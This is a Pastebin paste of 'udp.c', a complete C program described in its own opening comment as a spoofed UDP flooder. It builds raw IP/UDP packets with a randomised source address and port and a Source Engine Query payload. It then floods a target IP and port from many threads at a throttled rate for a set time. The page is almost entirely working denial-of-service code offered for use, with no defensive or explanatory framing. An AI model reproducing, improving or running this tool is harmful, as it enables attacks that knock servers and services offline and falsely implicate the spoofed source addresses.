daily pastebin goal
15%
SHARE
TWEET

udp.c

wtfbbq Sep 9th, 2015 3,286 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* Just another spoofed UDP flooder, written in C */
  2.  
  3. #include <unistd.h>
  4. #include <time.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <sys/ioctl.h>
  8. #include <string.h>
  9. #include <stdlib.h>
  10. #include <stdio.h>
  11. #include <pthread.h>
  12. #include <netinet/udp.h>
  13. #include <netinet/ip.h>
  14. #include <netinet/in.h>
  15. #include <netinet/if_ether.h>
  16. #include <netdb.h>
  17. #include <net/if.h>
  18. #include <arpa/inet.h>
  19. #define MAX_PACKET_SIZE 4096
  20. #define PHI 0x9e3779b9
  21. static unsigned long int Q[4096], c = 362436;
  22. static unsigned int floodport;
  23. volatile int limiter;
  24. volatile unsigned int pps;
  25. volatile unsigned int sleeptime = 100;
  26. void init_rand(unsigned long int x)
  27. {
  28.         int i;
  29.         Q[0] = x;
  30.         Q[1] = x + PHI;
  31.         Q[2] = x + PHI + PHI;
  32.         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  33. }
  34. unsigned long int rand_cmwc(void)
  35. {
  36.         unsigned long long int t, a = 18782LL;
  37.         static unsigned long int i = 4095;
  38.         unsigned long int x, r = 0xfffffffe;
  39.         i = (i + 1) & 4095;
  40.         t = a * Q[i] + c;
  41.         c = (t >> 32);
  42.         x = t + c;
  43.         if (x < c) {
  44.         x++;
  45.         c++;
  46.         }
  47.         return (Q[i] = r - x);
  48. }
  49. unsigned short csum (unsigned short *buf, int count)
  50. {
  51.         register unsigned long sum = 0;
  52.         while( count > 1 ) { sum += *buf++; count -= 2; }
  53.         if(count > 0) { sum += *(unsigned char *)buf; }
  54.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  55.         return (unsigned short)(~sum);
  56. }
  57. unsigned short udpcsum(struct iphdr *iph, struct udphdr *udph) {
  58.         struct udp_pseudo
  59.         {
  60.         unsigned long src_addr;
  61.         unsigned long dst_addr;
  62.         unsigned char zero;
  63.         unsigned char proto;
  64.         unsigned short length;
  65.         } pseudohead;
  66.         unsigned short total_len = iph->tot_len;
  67.         pseudohead.src_addr=iph->saddr;
  68.         pseudohead.dst_addr=iph->daddr;
  69.         pseudohead.zero=0;
  70.         pseudohead.proto=IPPROTO_UDP;
  71.         pseudohead.length=htons(sizeof(struct udphdr));
  72.         int totaludp_len = sizeof(struct udp_pseudo) + sizeof(struct udphdr);
  73.         unsigned short *udp = malloc(totaludp_len);
  74.         memcpy((unsigned char *)udp,&pseudohead,sizeof(struct udp_pseudo));
  75.         memcpy((unsigned char *)udp+sizeof(struct udp_pseudo),(unsigned char *)udph,sizeof(struct udphdr));
  76.         unsigned short output = csum(udp,totaludp_len);
  77.         free(udp);
  78.         return output;
  79. }
  80. void setup_ip_header(struct iphdr *iph)
  81. {
  82.         iph->ihl = 5;
  83.         iph->version = 4;
  84.         iph->tos = 0;
  85.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 25;
  86.         iph->id = htonl(54321);
  87.         iph->frag_off = 0;
  88.         iph->ttl = MAXTTL;
  89.         iph->protocol = IPPROTO_UDP;
  90.         iph->check = 0;
  91.         iph->saddr = inet_addr("192.168.3.100");
  92. }
  93. void setup_udp_header(struct udphdr *udph)
  94. {
  95.         udph->source = htons(5678);
  96.         udph->check = 0;
  97.         memcpy((void *)udph + sizeof(struct udphdr), "\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x79\x00", 25);
  98.         udph->len=htons(sizeof(struct udphdr) + 25);
  99. }
  100. void *flood(void *par1)
  101. {
  102.         char *td = (char *)par1;
  103.         char datagram[MAX_PACKET_SIZE];
  104.         struct iphdr *iph = (struct iphdr *)datagram;
  105.         struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  106.         struct sockaddr_in sin;
  107.         sin.sin_family = AF_INET;
  108.         sin.sin_port = htons(floodport);
  109.         sin.sin_addr.s_addr = inet_addr(td);
  110.         int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
  111.         if(s < 0){
  112.         fprintf(stderr, "Could not open raw socket.\n");
  113.         exit(-1);
  114.         }
  115.         memset(datagram, 0, MAX_PACKET_SIZE);
  116.         setup_ip_header(iph);
  117.         setup_udp_header(udph);
  118.         udph->dest = htons(floodport);
  119.         iph->daddr = sin.sin_addr.s_addr;
  120.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  121.         int tmp = 1;
  122.         const int *val = &tmp;
  123.         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  124.         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  125.         exit(-1);
  126.         }
  127.         init_rand(time(NULL));
  128.         register unsigned int i;
  129.         i = 0;
  130.         while(1){
  131.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  132.         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  133.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  134.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  135.         udph->source = htons(rand_cmwc() & 0xFFFF);
  136.         udph->check = 0;
  137.         udph->check = udpcsum(iph, udph);
  138.         pps++;
  139.         if(i >= limiter)
  140.         {
  141.         i = 0;
  142.         usleep(sleeptime);
  143.         }
  144.         i++;
  145.         }
  146. }
  147. int main(int argc, char *argv[ ])
  148. {
  149.         if(argc < 6){
  150.         fprintf(stderr, "Invalid parameters!\n");
  151.         fprintf(stdout, "Usage: %s <target IP> <port> <number threads to use> <throttle, -1 for no limit> <time>\n", argv[0]);
  152.         exit(-1);
  153.         }
  154.         fprintf(stdout, "Setting up Sockets...\n");
  155.         int num_threads = atoi(argv[3]);
  156.         floodport = atoi(argv[2]);
  157.         int maxpps = atoi(argv[4]);
  158.         limiter = 0;
  159.         pps = 0;
  160.         pthread_t thread[num_threads];
  161.         int multiplier = 20;
  162.         int i;
  163.         for(i = 0;i<num_threads;i++){
  164.         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  165.         }
  166.         fprintf(stdout, "Starting Flood...\n");
  167.         for(i = 0;i<(atoi(argv[5])*multiplier);i++)
  168.         {
  169.         usleep((1000/multiplier)*1000);
  170.         if((pps*multiplier) > maxpps)
  171.         {
  172.         if(1 > limiter)
  173.         {
  174.         sleeptime+=100;
  175.         } else {
  176.         limiter--;
  177.         }
  178.         } else {
  179.         limiter++;
  180.         if(sleeptime > 25)
  181.         {
  182.         sleeptime-=25;
  183.         } else {
  184.         sleeptime = 0;
  185.         }
  186.         }
  187.         pps = 0;
  188.         }
  189.         return 0;
  190. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top